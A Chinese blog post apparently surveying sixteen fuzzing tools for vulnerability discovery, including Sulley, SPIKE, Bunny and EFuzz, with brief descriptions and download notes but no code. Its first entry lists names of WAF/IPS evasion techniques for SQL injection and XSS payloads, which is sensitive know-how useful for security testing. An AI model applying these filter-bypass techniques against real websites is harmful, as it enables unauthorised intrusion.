　　1：首先是一款web应用漏洞fuzz工具-teenage mutant ninja turtles v 1.5

　　

　　这是我最喜欢的一款工具，个人觉得不错，这款工具先前FreeBuf有发文介绍过,我也正是在freeBuf看到才开始学着使用该工具的。

　　现在很多大中型网站都在服务器前段架设了WAF、IPS等过滤设备，常见的SQL注入、XSS、XXE等都会在这一层面被过滤掉，或者给渗透测试造成了各种不方便。

　　该工具主要就是生成混淆的测试代码，绕过常见的过滤设备，使用了如下一些常见的混淆 *** ：

　　Using Case Variation

　　Using SQL Comments

　　Using URL Encoding

　　Using Dynamic Query Execution

　　Using Null Bytes

　　Nesting Stripped Expressions

　　Exploiting Truncation

　　Using Non-Standard Entry Points

　　Combine all techniques above

　　该软件主要包含三个测试项目：

　　1、基于fuzzdb的一些测试Payload；

　　2、Web应用程序错误的数据库（比如返回的错误信息等）；

　　3、Web应用程序中Payload部分可自行修改。

　　下载地址（需要翻墙），我下来了，这是百度云链接，密码: 9u9g。

　　2：Sulley

　　它是一个强大的基于Python的fuzzing框架的怪物，Sulley不仅仅是一个fuzzer；它还有拥有优秀的崩溃报告，自动虚拟化技术（VMWare automation）。在fuzzing的过程中你可以在任意时刻，甚至是目标程序崩溃的时候，从新启动程序到前一刻，继续寻找bug之旅。

　　源代码下载，如何安装及使用请参考链接。

　　3：SPIKE

　　SPIKE是一个尝试编写一个易于使用的通用协议的接口，有助于反向工程师新的和未知的 *** 协议。它有几个工作实例。包括一个Web服务器使用NTLM身份验证暴力破解器和实例代码解析Web应用程序和dce-rpc（防护）。

　　可参考百度文库《使用SPIKE进行安全测试》、《Fuzzing-用SPIKE挖掘漏洞》，感觉这也是一大神器啊。

　　4：Bunny

　　它是Google出品的，Bunny是针对C程序的，实时反馈，高性能的，通用协议盲注入fuzzer。通过编译器技术实现无缝注入准确可靠的指令hook到目标程序中去。这些hook使得fuzzer可以实时获取函数调用、执行路径以及各类输入的返回值。Bunny使在不带来明显性能开销情况下，实时监控内部运行流程成为可能。

　　目前版本支持Linux、FreeBSD、OpenBSD以及Cygwin on IA32/IA64。

　　有兴趣的可以去看看《软件漏洞挖掘Fuzz工具之二_Bunny》一文。

　　几大优点：

　　1、使用简单，修改项目的配置文件中的gcc即可，如：CC=/path/to/bunny-gcc

　　2、很小的性能消耗；

　　3、从zlib，libpng到openssh，各种模块支持。不需要修改测试程序；

　　4、支持灵活配置，支持9中fuzz类型。可以控制fuzz深度等等。自动保存crash case。支持并行fuzz等。

　　基本算法：

　　1、使用已知的输入文件，初始化一个fuzzing队列；

　　2、尝试几个fuzzing 队列中确定的输入，记录执行路径；

　　3、如果执行路径与之前不同，记录使用的测试用例，并把该用例压栈；

　　4、任何函数调用参数或者返回值已知运行路径变化，则记录；

　　5、如果程序出错了，记录并保持测试用例；

　　6、测试所有用例，直到fuzzing队列为空。

　　5：Scratch

　　Scratch是一种先进的驱逐舰（“测试”），可以从一个简单的包找到各种各样的漏洞。它复杂的解析二进制文件以确定是什么数据模糊，同时Scratch也配备了一个模糊的二进制协议如SSL和 *** B框架。

　　地址

　　6：LXAPI

　　LXAPI的Python程序的选择 *** 和设计bugtesting开发的本地及远程漏洞。它包括模糊测试,杂项shellcode的 *** 和一个简单的GUI,LxAPI is currently a work-in-progress.这款工具我没用过，不过看到有大神用的很溜，佩服啊。

　　地址

　　7：antiparse

　　antiparser是模糊测试和故障注入API的fuzz工具。antiparser的目的是提供一个API，可用于模型的 *** 协议和文件格式的复合数据类型。一旦已经创建了一个模型，该antiparser有各种 *** 产生随机数据集的方式，将偏离理想触发软件错误或安全漏洞。需要Python 2.3或更高版本。

　　地址

　　8：Autodafe

　　Autodafe是一个模糊的框架，可以用来识别的协议和应用程序边界验证等问题，Martin Vuagnoux所写。

　　地址

　　9：dfuz

　　这是远程协议的测试工具，可以做很多事情，如发送随机数据、随机大小等，连同你想要的数据。它有很多的方式告诉程序使用这个数据，通过使用规则的文件，这将被解析的程序本身，并有几个选项和 *** ，使其非常具体、非常灵活。这不仅是一个远程协议的测试本身，它是一个脚本，就像电机一样，你可以创建任何类型的有效载荷。User-friendly（UNIX）。使用起来个人觉得还是比较简单的，易操作。

　　地址

　　10：Evolutionary Fuzzing System (EFS）

　　它是一款试图动态模仿一个协议，使用代码覆盖和其他反馈机制的fuzz工具。

　　地址

　　11：General Purpose Fuzzer (GPF)

　　用C写的，GPF拥有一批模式从简单的纯随机测试到更复杂的协议的标识。没用过，在鬼仔的博客那儿看到的。

　　地址

　　12：Protocol Informatics

　　Slides, whitepaper and code from the last publicly seen snapshot from Marshall Beddoe’s work.我研究了半天，还是没搞懂，统计没学好，不行啊。

　　地址

　　13：Schemer

　　XML驱动的通用文件和协议测试。基于XML定义的模版的测试。

　　地址

　　14： *** UDGE

　　这是一款纯python协议测试的工具。

　　地址

　　15：taof

　　用Python写的，跨平台的GUI驱动的 *** 协议，它的模糊测试环境为UNIX和Windows系统。

　　地址

　　16：EFuzz

　　EFuzz是一个易于使用的Win32 TCP/UDP协议fuzzerwhich在本地和远程服务发现未知的缓冲区溢出。使用配置文件来定义规范的请求范围。包括C源代码，在GPL下发布。因为我对c比较熟悉，所以我觉得这个还是比较好上手的。

　　小结

　　就先介绍这么些个吧，以后再慢慢补充，对于这些工具的学习资料，如果大家比较感兴趣的话，建议翻墙去找，国内的资料不太多。

　　引用百科上的一段话：模糊测试能够说明bug在程序中的出现。并不证明不存在这样的 bug。而且，通过模糊测试会极大地提高您对应用程序的健壮性及抵御意外输入的安全性的自信心。如果您用 24 小时对程序进行模糊测试而其依然无事，那么随后同种类型的攻击就不大可能再危及到它。（并不是不可能，提醒您，只是可能性很小。）如果模糊测试揭示出程序中的 bug，就应该进行修正，而不是当bug随机出现时再对付它们。模糊测试通过明智地使用校验和、XML、垃圾收集和/或基于语法的文件格式，更有效地从根本上加固了文件格式。

　　所以，今后在对一个系统进行测试时，不妨试试fuzz testing吧。

　　原文地址: